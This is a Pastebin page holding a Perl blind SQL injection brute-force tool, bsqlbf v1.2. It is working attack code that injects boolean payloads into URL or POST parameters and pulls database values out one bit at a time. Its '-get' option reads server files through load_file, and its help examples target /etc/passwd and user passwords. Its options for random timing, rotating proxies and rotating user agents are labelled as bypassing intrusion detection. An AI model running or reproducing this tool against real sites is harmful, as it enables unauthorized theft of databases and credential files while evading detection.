Advertisement
GreyPhantom

Blind SQL Injection Scanning Tool

Dec 26th, 2012
690
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 15.34 KB | None | 0 0
  1. #!/usr/bin/perl
  2. # Blind SQL Injection POC. aramosf@514.es // http://www.514.es
  3. #
  4. # CHANGELOG:
  5. # Wed Jul 12 14:04:33 RST 2006
  6. # + change sql teqneez mcdonalds powah 8) (more than 40% optimization)
  7. #   please, rip me!!, make your own paper!! =]
  8. # + support for windows files (for example: C:\\boot.ini)
  9. # + support for " and 1="1 sql injection
  10. # + -binary and -ascii support
  11. # - -charset option removed
  12. # - -dict option removed
  13. # + upgrade to v1.2
  14. # Sat Apr  1 03:13:01 CEST 2006
  15. # + -get now support resume (with -start option)
  16. # Thu Mar 30 02:06:41 CEST 2006
  17. # -get to fetch files (thank you ilo AGAIN)
  18. # ***** RELIABLE SPEED IMPROVEMENT USING SOME SKILLS OF SQL AND BRAIN!!***
  19. # Sat Mar 25 13:57:39 CET 2006
  20. # Release `haqerz edition` of bsqlbf:
  21. # + -time option added (IDS bypass)
  22. # + -rtime option added (IDS bypass)
  23. # + -rproxy option added (IDS bypass)
  24. # + -ruagent option added (IDS bypass)
  25. # Sun Dec 11 11:01:34 CET 2005
  26. # + fixed automatch in POSTs
  27. # + better output
  28. # Mon Dec  5 18:30:03 CET 2005
  29. # + added -blind option (to specify which attribute have sql injection).
  30. # Tue Nov 29 17:31:54 CET 2005
  31. # + auto search match string (when they arent -match option)
  32. # Mon Nov 28 16:34:09 CET 2005
  33. # + Support for POST and GET methods (-method get // -method post).
  34. # + Cookies support (-cookie "blah=foo; moo=doo").
  35. # + UserAgent support (-uagent "SQL Blind tool").
  36. # Wed Nov 23 23:44:23 RST 2005
  37. # First version 0.1:
  38. # + code ripped from www.reversing.org <ilo[at]reversing.org> (thanks!)
  39. #
  40. #
  41. # TODO:
  42. # [ ] Rip more code from others.
  43.  
  44. use LWP::UserAgent;
  45. use Getopt::Long;
  46. use IO::Handle;
  47. use strict;
  48. $| = 1;
  49.  
  50.  
  51. ###############################################################################
  52. my $default_debug = 0;
  53. my $default_length = 32;
  54. my $default_method = "GET";
  55. my $default_time = 0;
  56. my $version = "1.2";
  57. my $default_useragent = "bsqlbf $version";
  58. my $default_sql = "version()";
  59. ###############################################################################
  60.  
  61.  
  62. $| = 1;
  63.  
  64. my ($args, $solution);
  65. my (%vars, @varsb);
  66. my ($lastvar, $lastval);
  67. my ($scheme, $authority, $path, $query, $fragment);
  68. my ($head, $tail, $high);
  69. my $hits = 0;
  70. my $amatch = 0;
  71. my ($ua,$req);
  72. my $furl;
  73.  
  74. ###############################################################################
  75. # Define GetOpt:
  76. my ($url, $sql, $time, $rtime, $match, $uagent, $debug);
  77. my ($proxy, $proxy_user, $proxy_pass,$rproxy, $ruagent);
  78. my ($start, $length, $method, $cookie, $blind);
  79. my ($help, $get);
  80. my ($ascii, $binary);
  81.  
  82. my $options = GetOptions (
  83.   'help!'            => \$help,
  84.   'url=s'            => \$url,
  85.   'get=s'            => \$get,
  86.   'sql=s'            => \$sql,
  87.   'blind=s'          => \$blind,
  88.   'match=s'          => \$match,
  89.   'start=s'          => \$start,
  90.   'length=s'         => \$length,
  91.   'method=s'         => \$method,
  92.   'uagent=s'         => \$uagent,
  93.   'ruagent=s'        => \$ruagent,
  94.   'cookie=s'         => \$cookie,
  95.   'proxy=s'          => \$proxy,
  96.   'proxy_user=s'     => \$proxy_user,
  97.   'proxy_pass=s'     => \$proxy_pass,
  98.   'rproxy=s'         => \$rproxy,
  99.   'debug!'           => \$debug,
  100.   'binary!'           =>\$binary,
  101.   'ascii!'           => \$ascii,
  102.   'rtime=s'          => \$rtime,
  103.   'time=i'           => \$time );
  104.  
  105. &help unless ($url);
  106. &help if $help eq 1;
  107.  
  108. #########################################################################
  109. # Default Options.
  110. $uagent         ||= $default_useragent;
  111. $debug          ||= $default_debug;
  112. $length         ||= $default_length;
  113. $solution       ||= $start;
  114. $method         ||= $default_method;
  115. $sql            ||= $default_sql;
  116. $time           ||= $default_time;
  117.  
  118. $ascii = 1 unless $binary;
  119. &createlwp();
  120. &parseurl();
  121.  
  122. if ( ! defined($blind)) {
  123.         $lastvar = $varsb[$#varsb];
  124.         $lastval = $vars{$lastvar};
  125. } else {
  126.         $lastvar = $blind;
  127.         $lastval = $vars{$blind};
  128. }
  129.  
  130. if (defined($cookie)) { &cookie() }
  131.  
  132. if (!$match) {
  133.     print "\nTrying to find a match string...\n" if $debug == 1;
  134.     $amatch = "1";
  135.     $match = fmatch("$url"," AND 1=");
  136.     if ($match eq "no vulnerable") {
  137.         print "\nNo vuln: 2nd..\n" if $debug ==1;
  138.         $match = fmatch("$url","\' AND \'1\'=\'");
  139.         $head = "\'";
  140.         $tail = " AND \'1\'=\'1";
  141.     };
  142.     if ($match eq "no vulnerable") {
  143.         print "Not vulnerable or use -blind\n";
  144.         exit 0;
  145.     }
  146. }
  147.  
  148. &banner();
  149. &httpintro();
  150.  
  151.  
  152.  
  153. ( ! $get) ? sqlget() : fileget();
  154.  
  155. sub getbyte {
  156.    my $sql = $_[0];
  157.    my $bit="";
  158.    my @byte="";
  159.    my $c=8;
  160.    $high = 128 if $binary;
  161.    if ($ascii) {
  162.      $byte[0] = 0;
  163.      $high = 64;
  164.    }
  165.    for ($bit=1;$bit<=$high;$bit*=2) {
  166.     my $val = "$head and (ord($sql) %26 $bit)=0 $tail";
  167.     #print "VAL[$c] $val\n";
  168.     if (lc($method) eq "post") {
  169.         $vars{$lastvar} = $lastval . $val;
  170.     }
  171.     $furl = $url;
  172.     $furl =~ s/($lastvar=$lastval)/$1$val/;
  173.     &createlwp if $rproxy || $ruagent;
  174.     my $html=fetch("$furl");
  175.     $hits++;
  176.         foreach (split(/\n/,$html)) {
  177.         if (/\Q$match\E/) {
  178.             $byte[$c]=0;
  179.             last;
  180.          } else { $byte[$c] = 1; }
  181.        
  182.         }
  183.    $c--;
  184.    }
  185.    my $str = join("",@byte);
  186.    #print "\nSTR: $str\n";
  187.    return pack("B*","$str");
  188.  
  189. }
  190.  
  191. sub sqlget {
  192.     my ($fsize,$i,$s);
  193.         $s = "mid(length(length($sql)),1,1)";
  194.     my $lng .= getbyte($s);
  195.     for ($i=1;$i<=$lng;$i++) {
  196.         $s = "mid(length($sql),$i,1)";
  197.         $fsize.=getbyte($s);
  198.     }
  199.    
  200.     $length = $fsize. "bytes";
  201.     &bsqlintro();
  202.  
  203.     my $rsize = $start + 1;
  204.     for ($i=$rsize;$i<=$fsize+1;$i++) {
  205.         $s = "mid($sql,$i,1)";
  206.         #print "S: $s\n";
  207.         my $byte = getbyte($s);
  208.         $solution .= $byte;
  209.         print $byte;
  210.     }
  211. }
  212.  
  213. sub fileget {
  214.     my ($lget,$fstr);
  215.     $fstr = retasc("$get");
  216.     print "Trying to get file: $fstr\n" if $debug == 1;
  217.     my $rsize = $start + 1;
  218.     if (-e "$lget" && ! $start) {
  219.         $rsize = -s "$lget";
  220.         print "Error: file ./$lget exists.\n";
  221.         print "You can erase or resume it with: -start $rsize\n";
  222.         exit 1
  223.     }
  224.     print "Start at: $rsize\n" if $debug == 1;
  225.     my ($i,$fsize);
  226.     $sql = "mid(length(length(load_file($fstr))),1,1)";
  227.     my $lng .= getbyte($sql);
  228.     for ($i=1;$i<=$lng;$i++) {
  229.         my $find = 0;
  230.         $sql = "mid(length(load_file($fstr)),$i,1)";
  231.         $fsize.=getbyte($sql);
  232.     }
  233.     print "Size: $fsize\n" if $debug == 1;
  234.     if ($fsize < "1") { print "Error: file not found, no permissions or ... who knows\n"; exit 1 }
  235.     $length = $fsize. "bytes";
  236.     # starting ..
  237.     $sql = "load_file($fstr)";
  238.  
  239.     &bsqlintro();
  240.     # Get file
  241.     #print "---> $lget";
  242.     open FILE, ">>$lget";
  243.     FILE->autoflush(1);
  244.     print "\n--- BEGIN ---\n";
  245.     my ($i,$b,$fcontent);
  246.     $rsize = 1 if $rsize < 1;
  247.     for ($i=$rsize;$i<=$fsize+1;$i++) {
  248.         my $find = 0;
  249.         my ($furl, $b_start, $b_end, $z);
  250.         $sql = "mid(load_file($fstr),$i,1)";
  251.         $fcontent=getbyte($sql);
  252.         print $fcontent;
  253.         print FILE "$fcontent";
  254.     }
  255.     print "\n--- END ---\n";
  256.         close FILE;
  257.     $solution = "success";
  258.     $sql = "$get";
  259. }
  260.  
  261. sub retasc
  262.  {
  263.    my $asc = "@_";
  264.    my $ret = "";
  265.    my @ascarray = split (//, $asc);
  266.     foreach my $b (@ascarray) {
  267.     $ret .= ord($b).",";
  268.    }
  269.     $ret =~ s/,$//g;
  270.   return "CHAR($ret)";
  271. }
  272.  
  273.  
  274.  
  275. &result();
  276.  
  277. #########################################################################
  278. sub httpintro {
  279.     my ($strcookie, $strproxy, $struagent, $strtime, $i);
  280.     print "--[ http options ]"; print "-"x62; print "\n";
  281.     printf ("%12s %-8s %11s %-20s\n","schema:",$scheme,"host:",$authority);
  282.     if ($ruagent) { $struagent="rnd.file:$ruagent" } else { $struagent = $uagent }
  283.     printf ("%12s %-8s %11s %-20s\n","method:",uc($method),"useragent:",$struagent);
  284.     printf ("%12s %-50s\n","path:", $path);
  285.     foreach (keys %vars) {
  286.         $i++;
  287.         printf ("%12s %-15s = %-40s\n","arg[$i]:",$_,$vars{$_});
  288.     }
  289.     if (! $cookie) { $strcookie="(null)" } else { $strcookie = $cookie; }
  290.     printf ("%12s %-50s\n","cookies:",$strcookie);
  291.     if (! $proxy && !$rproxy) { $strproxy="(null)" } else { $strproxy = $proxy; }
  292.     if ($rproxy) { $strproxy = "rnd.file:$rproxy" }
  293.     printf ("%12s %-50s\n","proxy_host:",$strproxy);
  294.     if (! $proxy_user) { $strproxy="(null)" } else { $strproxy = $proxy_user; }
  295.     # timing
  296.     if (! $time && !$rtime) { $strtime="0sec (default)" }
  297.     if ( $time == 0) { $strtime="0 sec (default)" }
  298.     if ( $time == 1) { $strtime="15 secs" }
  299.     if ( $time == 2) { $strtime="5 mins" }
  300.     if ($rtime) { $strtime = "rnd.time:$rtime" }
  301.     printf ("%12s %-50s\n","time:",$strtime);
  302. }
  303.  
  304. sub bsqlintro {
  305.     my ($strstart, $strblind, $strlen, $strmatch, $strsql);
  306.     print "\n--[ blind sql injection options ]"; print "-"x47; print "\n";
  307.     if (! $start) { $strstart = "(null)"; } else { $strstart = $start; }
  308.     if (! $blind) { $strblind = "(last) $lastvar"; } else { $strblind = $blind; }
  309.     printf ("%12s %-15s %11s %-20s\n","blind:",$strblind,"start:",$strstart);
  310.     if ($length eq $default_length) { $strlen = "$length (default)" } else { $strlen = $length; }
  311.     if ($sql eq $default_sql) { $strsql = "$sql (default)"; } else { $strsql = $sql; }
  312.     printf ("%12s %-15s %11s %-20s\n","length:",$strlen,"sql:",$strsql);
  313.     if ($amatch eq 1) { $strmatch = "auto match:" } else { $strmatch = "match:"; }
  314.     #printf ("%12s %-60s\n","$strmatch",$match);
  315.     print " $strmatch $match\n";
  316.     print "-"x80; print "\n\n";
  317. }
  318.  
  319. #########################################################################
  320.  
  321. sub createlwp {
  322.     my $proxyc;
  323.     &getproxy;
  324.     &getuagent if $ruagent;
  325.     LWP::Debug::level('+') if $debug gt 3;
  326.     $ua = new LWP::UserAgent(
  327.         cookie_jar=> { file => "$$.cookie" });
  328.     $ua->agent("$uagent");
  329.     if (defined($proxy_user) && defined($proxy_pass)) {
  330.         my ($pscheme, $pauthority, $ppath, $pquery, $pfragment) =
  331.         $proxy =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
  332.         $proxyc = $pscheme."://".$proxy_user.":".$proxy_pass."@".$pauthority;
  333.     } else { $proxyc = $proxy; }
  334.    
  335.     $ua->proxy(['http'] => $proxyc) if $proxy;
  336.     undef $proxy if $rproxy;
  337.     undef $uagent if $ruagent;
  338. }  
  339.  
  340. sub cookie {
  341.     # Cookies check
  342.     if ($cookie || $cookie =~ /; /) {
  343.         foreach my $c (split /;/, $cookie) {
  344.             my ($a,$b) = split /=/, $c;
  345.             if ( ! $a || ! $b ) { die "Wrong cookie value. Use -h for help\n"; }
  346.         }
  347.     }
  348. }
  349.  
  350. sub parseurl {
  351.  ###############################################################################
  352.  # Official Regexp to parse URI. Thank you somebody.
  353.     ($scheme, $authority, $path, $query, $fragment) =
  354.         $url =~ m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
  355.     # Parse args of URI into %vars and @varsb.
  356.     foreach my $varval (split /&/, $query) {
  357.         my ($var, $val) = split /=/, $varval;
  358.         $vars{$var} = $val;
  359.         push(@varsb, $var);
  360.     }
  361. }
  362.  
  363.  
  364. #########################################################################
  365. # Show options at running:
  366. sub banner {
  367.     print "\n // Blind SQL injection brute force.\n";
  368.     print " // aramosf\@514.es / http://www.514.es\n\n";
  369. }
  370.  
  371.  
  372. #########################################################################
  373. # Get differences in HTML
  374. sub fmatch {
  375.  my ($ok,$rtrn);
  376.  my ($furla, $furlb,$quote) = ($_[0], $_[0],$_[1]);
  377.  my ($html_a, $html_b);
  378.  print "url-a: $furla\n" if $debug == 1;
  379.  print "url-b: $furlb\n" if $debug == 1;
  380.  if (lc($method) eq "get") {
  381.     $furla =~ s/($lastvar=$lastval)/$1 ${quote}1/;
  382.     $furlb =~ s/($lastvar=$lastval)/$1 ${quote}0/;
  383.     $html_a = fetch("$furla");
  384.     $html_b = fetch("$furlb");
  385.  } elsif (lc($method) eq "post") {
  386.    $vars{$lastvar} = $lastval . " ${quote}1";
  387.    $html_a = fetch("$furla");
  388.    $vars{$lastvar} = $lastval . " ${quote}0";
  389.    $html_b = fetch("$furla");
  390.    $vars{$lastvar} = $lastval;
  391.  }
  392.  
  393.  
  394.  #print "$html_a";
  395.  #print "$html_b";
  396.  
  397.  if ($html_a eq $html_b) {
  398.   $rtrn = "no vulnerable";
  399.   return $rtrn;
  400.  }
  401.  
  402.  
  403.  my @h_a = split(/\n/,$html_a);
  404.  my @h_b = split(/\n/,$html_b);
  405.  foreach my $a (@h_a) {
  406.     $ok = 0;
  407.     if ($a =~ /\w/) {
  408.         foreach (@h_b) {
  409.             if ($a eq $_) {$ok = 1; }
  410.         }
  411.     } else { $ok = 1; }
  412.    $rtrn = $a;
  413.    last if $ok ne 1;
  414.  }
  415.  return $rtrn;
  416. }
  417.  
  418.  
  419. #########################################################################
  420. # Fetch HTML from WWW
  421. sub fetch {
  422.     my $secs;
  423.     if ($time == 0) { $secs = 0 }
  424.     elsif ($time == 1) { $secs = 15 }
  425.     elsif ($time == 2) { $secs = 300 }
  426.     if ($rtime =~ /\d*-\d*/ && $time == 0) {
  427.         my ($l,$p) = $rtime =~ m/(\d+-\d+)/;
  428.         srand; $secs = int(rand($p-$l+1))+$l;
  429.     } elsif ($rtime =~ /\d*-\d*/ && $time != 0) {
  430.         print "You can't run with -time and -rtime. See -help.\n";
  431.         exit 1;
  432.     }
  433.     sleep $secs;
  434.    
  435.     my $res;
  436.     if (lc($method) eq "get") {
  437.         my $fetch = $_[0];
  438.         print "GET: $fetch\n" if $debug == 1;
  439.         if ($cookie) {
  440.             $res = $ua->get("$fetch", Cookie => "$cookie");
  441.         } elsif (!$cookie) {
  442.             $res = $ua->get("$fetch");
  443.         }
  444.     } elsif (lc($method) eq "post") {
  445.         my($s, $a, $p, $q, $f) =
  446.         $url=~m|^(?:([^:/?#]+):)?(?://([^/?#]*))?([^?#]*)(?:\?([^#]*))?(?:#(.*))?|;
  447.         my $fetch = "$s://$a".$p;
  448.         if ($cookie) {
  449.         print "POST: $fetch\n" if $debug == 1;
  450.             $res = $ua->post("$fetch",\%vars, Cookie => "$cookie");
  451.         } elsif (!$cookie) {
  452.             $res = $ua->post("$fetch",\%vars);
  453.         }
  454.     } else {
  455.         die "Wrong httpd method. Use -h for help\n";
  456.     }
  457.     my $html = $res->content();
  458.     return $html;
  459. }
  460.  
  461.  
  462. sub getproxy {
  463.     if ($rproxy && $proxy !~ /http/) {
  464.         my @lproxy;
  465.         open PROXY, $rproxy or die "Can't open file: $rproxy\n";
  466.         while(<PROXY>) { push(@lproxy,$_) if ! /^#/ }
  467.         close PROXY;
  468.         srand; my $ind = rand @lproxy;
  469.         $proxy = $lproxy[$ind];
  470.     } elsif ($rproxy && $proxy =~ /http/)  {
  471.         print "You can't run with -proxy and -rproxy. See -help.\n";
  472.         exit 1;
  473.     }
  474. }
  475.  
  476. sub getuagent {
  477.         my @uproxy;
  478.         open UAGENT, $ruagent or die "Can't open file: $ruagent\n";
  479.         while(<UAGENT>) { push(@uproxy,$_) if ! /^#/ }
  480.         close UAGENT;
  481.         srand; my $ind = rand @uproxy;
  482.         $uagent = $uproxy[$ind];
  483.         chop($uagent);
  484. }
  485.  
  486. sub result {
  487.     print "\r results:                                  \n" .
  488.      " $sql = $solution\n" if length($solution) > 0;
  489.     print " total hits: $hits\n";
  490. }
  491.  
  492.  
  493. sub help {
  494.     &banner();
  495.     print " usage: $0 <-url http://www.host.com/path/script.php?foo=bar> [options]\n";
  496.     print "\n options:\n";
  497.     print " -sql:\t\tvalid SQL syntax to get; connection_id(), database(),\n";
  498.     print "\t\tsystem_user(), session_user(), current_user(), last_insert_id(),\n";
  499.     print "\t\tuser() or all data available in the requested query, for\n";
  500.     print "\t\texample: user.password. Default: version()\n";
  501.     print " -get:\t\tfile to get.\n";
  502.     print " -blind:\tparameter to inject sql. Default is last value of url\n";
  503.     print " -match:\tstring to match in valid query, Default is try to get auto\n";
  504.     print " -start:\tif you know the beginning of the string, use it.\n";
  505.     print " -length:\tmaximum length of value. Default is $default_length.\n";
  506.     print " -time:\t\ttimer options:\n";
  507.     print " \t0:\tdont wait. Default option.\n";
  508.     print " \t1:\twait 15 seconds\n";
  509.     print " \t2:\twait 5 minutes\n";
  510.     print " -rtime:\twait random seconds, for example: \"10-20\".\n";
  511.     print " -method:\thttp method to use; get or post. Default is $default_method.\n";
  512.     print " -uagent:\thttp UserAgent header to use. Default is $default_useragent\n";
  513.     print " -ruagent:\tfile with random http UserAgent header to use.\n";
  514.     print " -cookie:\thttp cookie header to use\n";
  515.     print " -rproxy:\tuse random http proxy from file list.\n";
  516.     print " -proxy:\tuse proxy http. Syntax: -proxy=http://proxy:port/\n";
  517.     print " -proxy_user:\tproxy http user\n";
  518.     print " -proxy_pass:\tproxy http password\n";
  519.     print "\n examples:\n bash# $0 -url http://www.somehost.com/blah.php?u=5 -blind u -sql \"user()\"\n";
  520.     print " bash# $0 -url http://www.buggy.com/bug.php?r=514&p=3 -get \"/etc/passwd\"\n";
  521.     exit(1);
  522. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement